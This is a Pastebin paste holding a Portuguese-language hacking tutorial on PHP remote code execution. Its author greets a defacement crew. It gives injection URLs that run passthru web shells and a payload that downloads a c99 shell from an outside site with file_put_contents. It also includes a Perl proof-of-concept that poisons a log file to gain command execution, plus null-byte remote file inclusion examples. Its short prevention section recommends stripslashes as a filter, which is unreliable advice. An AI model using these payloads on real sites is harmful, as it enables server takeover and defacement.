Advertisement
Guest User

Untitled

a guest
Dec 11th, 2016
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.26 KB | None | 0 0
  1. Tutorial {RCE} [Remote Code Execution] by Tr3v0r
  2.  
  3. Gr33tz: J0shu3w, MMXM, coolmemes, xin0x, kryptonet e todos que me ajudaram um dia chegar no meu nível atual.
  4. Um salve ao Lord Choo3s e ScorpionKTX que me deram a liderença da SilverLords, para que possa honrar fazendo vários defaces de qualidade.
  5. Aquele dia no shops santa cruz foi 10! amo vocês!
  6.  
  7. Como encontrar a RCE ?
  8. RCE mais comumente acontece através da entrada limpa em uma entrada de input
  9.  
  10. O que podemos fazer com essa vulnerabilidade ?
  11.  
  12. Atravez dessa vúlnerabilidade conseguimos executar qual quer código PHP, as tags devem começar com <? começa assim é termina assim ?>
  13. ~~~~~~
  14. +-----+
  15. Vamos praticar um pouco {Parâmetro vulnerável}
  16.  
  17. http://mysite.com/includes/functions.php?multies=
  18. +-----+
  19. ~~~~~~
  20. +-----+
  21. À medida que avançamos vamos tentar o phpinfo. agora nós vamos adiciona phpinfo (); depois de multies é ver o quê nós mostrou
  22.  
  23. http://mysite.com/includes/functions.php?multies=phpinfo();
  24. +-----+
  25. ~~~~~~
  26. +-----+
  27. Nosso próximo passo séra fazer o upload de uma shell pela falha de RCE coloque este código depois de multies=
  28.  
  29. file_put_contents('shell.php',file_get_contents('http://www.c99txt.net/s/c99.txt'));
  30. +-----+
  31. Pronto a SHELL uploaded ! este é um conceito básico de {RCE} [Remote Code Execution]
  32. +-----+
  33. ~~~~~~
  34. (=================================================================)
  35. +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
  36. Bom agora vamos aprender um pouco mais sobre {RCE} !
  37. 0x1 - Intro
  38. 0x2 - Noções básicas de Remote Code Execution e como ele se desenvolve
  39. 0x3 - Exatamente como um invasor pode obter vantagem sobre esta vulnerabilidade e abusar dela!
  40. 0x4 - Prevenção e filtração
  41. 0x5 - Conclusão
  42. +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
  43. (=================================================================)
  44. ~~~~~~
  45. 0x1 - Intro
  46. ~~~~~~
  47. Remote Code Execution é mais uma Common Vulnerability existente é vasta gama de aplicações web na era atual
  48. permite um controle remoto ao invasor é executar um código arbitrário no sistema com previlégios de administrador sem a atenção
  49. do admin do site, não é apenas dificil de evitar, mais é uma vúlnerabilidade extremamente arriscada, que pode colocar o site site em perigo
  50. propondo diferentes tipos de ataque, podendo ocorrer eliminação de dados é o invasor pode até desfigurar o site famoso DEFACE !
  51.  
  52. ~~~~~~
  53. 0x2 - Noções básicas de Remote Code Execution e como ele se desenvolve
  54. ~~~~~~
  55. Básico Remote Code Execution Agora vou destacar alguns princípios básicos de Remote Code Execution sendo plantadas que ainda existem nesta época de desenvolvimento de aplicativos web.
  56.  
  57. Vamos agora examinar um comentário form recebendo comentários de um usuário ("submit.php")
  58. e publicá-la em "comments.php"
  59.  
  60. Estamos analisando submit.php com método simples post que submete a se reuniram
  61. entrada do usuário e encaminhar o pedido para comments.php.
  62. /*
  63. {submit.php}
  64. [Código]
  65. <form method="POST" action="">
  66. <textarea rows="10" name="comments" cols="60"></textarea>
  67. <p><input type="submit" value="Post" name="sub"></p>
  68. </form>
  69.  
  70. {comments.php}
  71. [Código]
  72. <?php
  73. $comments = $_POST['comments'];
  74. $log = fopen('comments.php','a');
  75. fwrite($log,'<br />'.'<br />.'<center>'.'Comments::'.'<br />'.$comments);
  76. fclose($log);
  77. ?>
  78.  
  79. Bem, como podemos ver, há um formulário que envia
  80. um usuário introduzido Comentários (o que tão nunca) para comments.php incluindo malicioso que escreve os comentários exatamente como entrada do usuário. isto significa que um invasor está ficando cheio vantagem para explorar os comentários vulneráveis
  81. formulário de apresentação, executando algum pedido malicioso, que poderia ser apenas para reunir detalhes do servidor lendo o phpinfo()
  82. que é um caso excepcional para os atacantes nos dias de hoje, ou ainda mais patético poderia estar recebendo um shell em um servidor vulnerável.
  83.  
  84. Vamos dar outro exemplo usando solicitação GET para exibir mensagem de erro e registrar o ip com a mensagem específica.
  85. (é uma vulnerabilidade comum plantada pelo codificador durante o desenvolvimento de um website para uma organização, etc).'x'.
  86. /*
  87.  
  88. {info.php}
  89. [Código]
  90. <?php
  91. $msg = $_GET['msg'];
  92. $ip = getenv('REMOTE_ADDR');
  93. $error = fopen('errorlog.php','a');
  94. fwrite($error,'<br />'.$msg.'<br />'.$ip.'<br />');
  95. fclose($error);
  96. ?>
  97.  
  98. isto permite à Remote Code Execution, mas também de vários outros ataques, incluindo xss, javascript injeção, injeção VBScript etc.
  99. Isto irá também permitir a um atacante envenenar o arquivo de log é injetar código malicioso para os logs.
  100. =========================
  101. Agora vou destacar um outro tipo de Remote Code Execution também pode ser definida como envenenamento de cookies
  102.  
  103. {Código}
  104. <?php
  105. $msg = $_GET['msg'];
  106. $ip = getenv('REMOTE_ADDR');
  107. $error = fopen('errorlog.php','a');
  108. fwrite($error,'<br />'.$msg.'<br />'.$ip.'<br />');
  109. fclose($error);
  110. ?>
  111.  
  112. Pode ser apenas mais complicado do que isso, como a maioria, possivelmente, não pode haver o uso de sessões a fim de verificar se o administrador "admin" variável iria corresponder "1", como sempre esta é apenas uma consulta SQL usada para selecionar administrador como o usuário quando admin = 1 A consulta está dando possivelmente outra vulnerabilidade Sim, certo "injeção de SQL!";
  113. =========================
  114. Remote Code Execution também é possível através da deposição cabeçalhos ou um upload de arquivo arbitrário se há um sistema de processamento de arquivo e não é limpo
  115. =========================
  116. 0x3 - Exatamente como um invasor pode obter vantagem sobre esta vúlnerabilidade e abusar dela!
  117. ===================================
  118. Vou destacar exatamente como um invasor consegue fazer isso
  119. Provavelmente supondo que um invasor encontra um alvo vulnerável e ele pegou a notícia de que uma variável GET ter sido
  120. implementada aqui, a fim de fazer logind e dados determinados a algum arquivo específico permite dizer 'x' o atacante vai tentar
  121. se apossar do arquivo onde os dados estão sendo escrevidos path arrays são usados pelo atacante para uma exploração bem sucedida
  122. e então, naturalmente, o atacante provavelmente vai injectar algo malicioso, string, a fim de verificar se ele está filtrando a saída, neste caso, não é fazer qual quer verificação usando o htmlentities ou htmlspecialchars() funcs. o atacante irá ganhar um grande lote de benefício provavelmente ele vai tentar fazer um upload de uma shell no servidor para ganhar vantagens
  123.  
  124. vamos supor que este alvo é uma vítima
  125.  
  126. {Código}
  127. http://victim.xxx/info.php?msg=<? passthru($_GET['attacker']); ?>
  128.  
  129. Isto irá fazer o trabalho !
  130.  
  131. Em alguns outros casos como o "
  132. {Código}
  133. if(!isset($admin == 1)
  134.  
  135. que poderia ser igualmente
  136. explorada com grande facilidade, o atacante apenas
  137. tem que falsificar a variável a partir da solicitação do servidor e que não é de todo
  138. sendo difícil uma variável GET
  139. Emoticon tongue
  140.  
  141. {Código}
  142. http://victim.xxx/file.php?admin=1
  143.  
  144. Isso vai fazê-lo é para os cookies só precisa edita-los é você é o fodão !
  145. vamos vê o padrão a baixo
  146.  
  147. {Código}
  148. if(!isset($_COOKIE['administrator'])){
  149. //Some Authencation Headers Below
  150. ...
  151. }
  152.  
  153. Neste tipo de padrão, você apenas muda os cookies para administrador É melhor tratar o caso com care. I agora vai escrever um pouco POC (Proof-Of-Concept) POC (prova de conceito) a fim de explicar
  154. e explorar o alvo remotamente e com bastante facilidade! Não é bom, mas importante para o uso desse tipo de roteiro o problema e executar o comando com êxito, uma vez que o navegador irá certamente codificar suas tags, tornando
  155. o pedido não eficiente O script abaixo seria ignorar isso, e cumprir a sua finalidade a todo o custo
  156.  
  157. {Código}
  158. sub header()
  159. {print q{
  160. --------------------------------------------------------------------------------
  161.  
  162. ---------
  163. Usage <target> <vulnerable file> <variable> <log file> <shell> <command>
  164. Example roc.pl http://127.0.0.1 info.php msg errorlog.php
  165. http://127.0.0.1/r57.txt ls -la
  166. --------------------------------------------------------------------------------
  167. ----------
  168. }}$inject = "<?php if(get_magic_quotes_gpc()){
  169. /$_GET[cmd]=stripslashes(/$_GET[cmd])/;} passthru(/$_GET[cmd])/; ?>";
  170.  
  171. ‪#‎You‬ may notice some additional funcs used to inject, these are to execute and produce 99% successful result
  172. ‪#‎it‬ would help and bypass magic_quotes func and stripslashes too, that would possibly of lot good to the attacker!
  173.  
  174. if(@ARGV !=5){
  175. header();
  176. }$target = @ARGV[0];
  177.  
  178. $file = @ARGV[1];
  179. $var = @ARGV[2];
  180. $log = @ARGV[3];
  181. $shell = @ARGV[4];
  182. $command = @ARGV[5];
  183. $agent = LWP::UserAgent->new();
  184. $exec = "http://$target/$file?$var=$inject";
  185. $agent->get("$exec");
  186. $exec2 = "http://$target/$log?attacker=$shell&$cmd=$command?";
  187. $agent->get("$exec2") or die"Host Seems Down";
  188. print "Injected Successfully!!";
  189. print "Check The Shell Manually At"." "."http://$target/$log?attacker=$shell&$cmd=$command?";
  190.  
  191. ‪#‎REMOTE‬ CODE EXECUTION
  192. ‪#‎An‬ explanation POC for exploiting the roc(Remote CODE Execution) Vulnerability.
  193.  
  194. {Código}
  195. */
  196.  
  197. ================================================================================
  198. ===============================
  199.  
  200. Agora podemos declarar claramente o código acima como uma vulnerabilidade crítica, ajudando atacante a fazer um LFI ou RFI dependendo do atacante é claro que a inclusão falhou por causa da questão incremento de extensão.
  201.  
  202. Agora, o atacante certamente gostaria Disso em tudo, vai tentar eliminar a extensão usando bytes nulos ou envenenamento de bytes nulos para o servidor. Abaixo está um exemplo do que exatamente acontece quando uma inclusão acontece em tal caso
  203.  
  204. {Código}
  205. http://victim.xxx/include.php?file=http:...sh3ll.txt?
  206.  
  207. uma vez que o código é adicionar extensões após variável $file significa que seria
  208. adicionando .php após .txt, tornando assim a exploração muda, em simples seria fazer os olhares de solicitação
  209. vamos
  210. {Código}
  211. http://victim.xxx/include.php…?
  212.  
  213. Agora, o atacante irá eliminar a extensão para explorar com êxito a questão por envenenamento de bytes nulos no pedido
  214. fez, a seguir é como o atacante conseguirá fazê-lo ::
  215.  
  216. {Código}
  217. http://victim.xxx/include.php…
  218.  
  219. Isto faria com que o pedido eliminasse a extensão adicional, e seria explorar com êxito a questão!
  220. =====
  221. =========================
  222. 0x4 - Prevenção e filtração
  223. =========================
  224. prevenção ::
  225. É melhor para projetar nunca formar de tal forma que limpa e filtra a entrada do usuário antes de escrever ou de executar a solicitação no servidor. Isto pode ser feito facilmente com a facilidade de php construído em htmlentities(); htmlspecialchars(); eo mais importante strip_tags e funções stripslashes. Isto irá abortar um pedido malicioso e irá executar o pedido após a Tag maliciosa tinha sido abortada.
  226. Por exemplo, um atacante tentando injetar um pedaço de código 'y' para um GET
  227. variável ....
  228.  
  229. {Código}
  230. http://victim.xxx/file.php?var=<? phpinfo(); ?>
  231.  
  232. Agora, se o arquivo está sob htmlentities, htmlspecialchars, strip_tags ou
  233. stripslashes () proteção, então isso vai fazer a
  234. pedido do atacante totalmente mudo e, claro, de não usar!
  235. Supposingly um padrão de filtração simples:
  236.  
  237. /
  238.  
  239. {Código}
  240. <?php
  241. $data = stripslashes($_GET['data']);
  242. $fh = fopen('file.php','a');
  243. fwrite($fh,$data);
  244. fclose($fh);
  245. ?>
  246.  
  247. Isto irá abortar as tags "<?", "?>","()" e é claro fará o resto do pedaço de código "phpinfo" só irá escrever isso na forma ascii exato para o arquivo.
  248.  
  249. Há ainda melhores curas usando magicquotes como sempre, pode causar outros problemas complicados se não for usado corretamente,
  250. por isso não é recomendado para iniciantes até que eles sabem o que estão fazendo.
  251. =====
  252. =========================
  253. 0x5 - Conclusão
  254. =========================
  255. =====
  256. conclusão ::
  257. Eu tenho usado vários exemplos para explicar os conceitos básicos de Remote Code Execution e exatamente como ele é plantado em aplicações web. Eu tentei o meu melhor nível para explicar os termos e as consequências em palavras simples e fáceis, incluindo todos os códigos de peça Eu não possuem qualquer responsabilidade de qualquer uso indevido eu recomendo fortemente que todos possam aprender sobre isto é simples e fácil é que possam ser evitados os perigos que podem ser encontrados por pequenos erros por descuido !
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement